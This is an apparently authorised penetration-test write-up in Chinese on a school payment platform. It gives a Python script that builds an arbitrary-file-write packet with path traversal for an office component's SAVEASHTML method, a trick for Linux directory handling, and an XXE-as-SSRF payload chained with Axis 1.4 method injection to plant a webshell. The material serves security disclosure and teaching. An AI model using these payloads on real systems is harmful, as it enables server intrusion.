教育王，我当定了

Author: 远海@websecuritys.cn

0x01 前言

     最近忙着复习,所以很少关注安全这块了。本次是针对自己学校某系统的渗透记录,已获得相应授权。通用漏洞涉及影响单位早前已提交至SRC平台,厂商以发布对应补丁。

0x02 信息收集

目标系统主要是一个支付平台,是近期刚上线的系统,向学校老师取得相应授权后开始测试。

`` 软件开发商:`xx软件开发有限公司/xxsoft/xxxx.com.cn` ```` 开发语言: `Java` ```` 框架: `St2` ``

因为是近期刚上线的系统,单点认证还没有接入。无法通过单点认证登录此系统,在尝试爆破admin密码后无果. 开始转向源码的收集。毕竟白盒才是最直接的手段。源码的收集大致有以下几个思路:

`1.百度云盘``2.闲鱼 (部分商家已搭建第三方系统为主可能有存货需要主动询问)``3.同系统站点下存在备份`

百度云盘和闲鱼比较费时间,这两个主要看自身对关键词的理解。因为这两个思路基本被人玩的差不多了，也就 不在浪费时间了(后面找了下也确实没有)。先确定了该系统的指纹,使用 fofa 收集相同系统站点。

然后丢进御剑里走一遍。字典如下:

`/ROOT.7z``/ROOT.rar``/ROOT.tar``/ROOT.tar.gz``/ROOT.war``/ROOT.zip``/web.tar``/web.tar.gz``/web.rar`

这里其实需要注意.很多情况是tomcat下部署了多个应用。在不同目录中,而 ROOT 目录中只是几个简单的重定向 文件。所以在扫描多应用站点时,应该把 ROOT 改成应用所处目录名. 如: 

/pay/index.jsp-- > /pay/ --> pay.war

上面这套思路纯粹看运气.结果也是没有扫到.

0x03 某组件存在安全问题

备份走不通只能走一些历史漏洞了。把url列表丢进自己写的轮子里扫一遍: (先是扫了一次目录,后根据目录再次验证)

发现ticket模块下存在 officeserver.jsp ,访问后出现提示 

DBSTEP V3.0 0 14 0 请使用Post方法

典型的某格组件,该组件默认存在 SAVEASHTML 方法,攻击者构造特殊的数据包可以造成任意文件的写入: 并且默认使用Base64加密,主要问题在于数据包的构造: 一张图简单了解下具体格式. (别喷,我自己也看不懂)

**解释: ** 

具体参考DbStep.jar中的 StreamToMsg 方法。这里只做简单的解释 数据包的前64字节为配置信息,告诉后端该如何读取,也就是0-63位。 

其中 0:15 赋值给变量 FVersion , 16:31 赋值给变量 BodySize , 32:47 赋值给 ErrorSize . 48:63 赋值给 FFileSize .除了 FVersion ,其余中间内容只能填写数字,代表着各个变量的内容要读取多少位. 以 BodySize 为例子,这里的内容为 114 ,也就是说去除数据前64字节,在往后读114字节.这114字节内容赋值给 FMsgText .之后取参数也是从 FMsgText 中取，每个参数以 \n\t 进行分割。

以此类推. 了解如何构造对应数据包后开始编写脚本: 该组件默认会有一个 SAVEASHTML 方法。可以将 FFileSize 截取的内容存储到文件中。导致任意文件的写入。

`else if (mOption.equalsIgnoreCase("SAVEASHTML")) { //``����Ĵ���Ϊ��OFFICE��ΪHTMLҳ��``mHtmlName = MsgObj.GetMsgByName("HTMLNAME"); //``ȡ���ļ�����``mDirectory = MsgObj.GetMsgByName("DIRECTORY"); //ȡ��Ŀ¼����``MsgObj.MsgTextClear();``if (mDirectory.trim().equalsIgnoreCase("")) {``mFilePath = mFilePath + "\\HTML";``}``else {``mFilePath = mFilePath + "\\HTML\\" + mDirectory;``}``MsgObj.MakeDirectory(mFilePath); //����·��``if (MsgObj.MsgFileSave(mFilePath + "\\" + mHtmlName)) { //``����HTML�ļ�``MsgObj.MsgError(""); //``���������Ϣ``MsgObj.SetMsgByName("STATUS", "����HTML�ɹ�!"); //``Ϣ��״̬����``}``else {``MsgObj.MsgError("����HTMLʧ��!"); //``���ô�����Ϣ``}``MsgObj.MsgFileClear();``}`

当文件夹不存在时会自动创建对应的文件夹。MsgFileSave 方法后面拼接的 mHtmlName 内容可控,写入文件可以 尝试跨目录。编写生成脚本:

`body = f"""DBSTEP=REJTVEVQ OPTION=U0FWRUFTSFRNTA== HTMLNAME=Ly4uLy4uLzEuanNw DIRECTORY=Lw==``LOCALFILE=MQ==""".replace(``' ', '\n').strip()``coente="""hello1"""``fileContent=f'''``{coente}``'''.replace("\n","").strip()``payload="DBSTEP V3.0 "``bodysieze=str(len(body))``filesize=str(len(fileContent))``payload+=str(int(bodysieze)+3)+' '*(16-len(bodysieze))+'0'+' '*15+filesize+' '*(16-``len(filesize))+body+fileContent``FVersion=payload[0:15]``print("version:",FVersion)``Body=payload[16:31]``print("BodySize:",Body)``Error=payload[32:47]``print("ErrorSize:",Error)``File=payload[48:63]``print("FileSize:",File)``print(payload)`

使用postman发送payload到指定文件。

可能是觉得我操作的过于顺利,返回保存文件失败的内容,于是陷入了沉思。经过一系列的探索。我发现,当 FileName 中的内容不存在 /../ 跨目录符号时就能保存成功。

因为 mFilePath 取值就是当前应用的根目录

所以文件应该在 HTML 目录下。尝试访问.

返回404错误,证明文件并没有写入到指定位置中。

0x04 Linux和Windows 写入文件的差异性

最后在请教忍酱后得知,由于目标是 Linux 系统,在 linux 系统中, \\ 被当做成一个文件夹。而 FileOutputStream 在写入文件时如果文件夹不存在会直接抛出错误。

Demo:

当写入文件时。由于文件夹不存在会创建一个 \HTML\test 的文件夹。而最终写入路径中的文件夹名为 \HTML\test\\,  HTML\test\\ 名字的文件夹是不存在的，导致文件无法写入成功 。

在不使用 /../ 跨目录符号时，文件最终会以 \HTML\test\1.txt 的文件名进行存储,这与预期也是不符合的。

解决方案: 

在了解无法写入的原因后,开始寻找解决方法。既然该方法可以创建文件夹,那么如果我预先创建一个 \HTML\test\\ 命名的文件夹,后续不就可以写入了？\ 在创建文件夹时，如果 mDirectory 的内容不为空,那么最终存储的目录地址会进行一个拼接,然后创建。我们可 以在 mDirectory 上做一些尝试。在创建的文件夹名后面添加 \\\ 符号,来确保能创建我们预期的文件夹名

实践:

这里写了一个Demo,模拟最终写入文件的流程。在 path2 上添加多个 \\ .最终成功创建出了预期的 \HTML\test\\ 文件夹。(实际环境中其实需要3个)

有了对应的文件夹,再次尝试写入,由于拼接的原因,需要在原来的目录后去掉一个 \

写入成功: 完成跨目录

根据目标系统生成对应的POC: 总共分两个步骤: 1.创建文件夹 2.写入文件

再次尝试写入文件:

成功写入！

0x05 终点也是起点

成功拿到Webshell后,根据现有POC.尝试在目标系统上复现,发现不存在 ticket 模块？？？,白干了？

好在先前拿的系统中存在 PAY 模块,可以直接下载下来进行代码审计。一顿审计过后发现并没有什么利用点???,该系统不存在文件上传点,并且SQL注入都会对传入的字符做处理

统一使用 org.apache.commons.lang.StringEscapeUtils.escapeSql 方法进行过滤。

这导致后续利用难。但是根据 web.xml ,发现该应用使用了 AXIS 且版本为1.4也开启了远程访问

Axis1.4 是存在一个远程命令执行的,可以向 web service 中添加恶意方法。导致命令执行。 

具体可以参考文章:https://paper.seebug.org/1489/#13-axis

该漏洞利用需要一个SSRF漏洞,来组合利用。

根据现有代码开始查找,是否有可控点。一顿操作下来发现并没有可以利用的SSRF点。基本都是固定的URL。

回想起最近才复现的 MySQL JDBC XXE漏洞(CVE-2021-2471) .xxe也是可以发送http请求的。(主要是平时不太关注这类漏洞)

在JAVA中,可能造成XXE漏洞的主要有以下:

`SAXBuilder``SAXParserFactory``SAXReader``SAXTransformerFactory``TransformerFactory``ValidatorSample``XMLReader``Unmarshaller``SchemaFactory``.....`

最终审计发现了一处 SAXBuilder 所造成的XXE漏洞。

构造Payload,测试一下dnslog。

Payload:

`<?xml version="1.0" encoding="UTF-8"?>``<!DOCTYPE b [<!ENTITY xxe SYSTEM "http://127.0.0.1:8041/?hello">]><name>&xxe;</name>`

得到响应。

有了SSRF,后续利用起来也比较方便了。因为此系统安装路径都是统一的,公开的几个利用链都是第三方jar 包,LogHandler比较麻烦。所以这里在内置方法类中找了一个文件写入的方法。FileUtil下有一个 writeFileContent 方法，可以直接写入文件。

使用SSRF GET请求添加到 Web services ,"会有端口不一样的情况！"

(POST转换一下格式就可以)

方法被成功添加到Web Services中

调用方法,写入文件。成功拿到Webshell!

---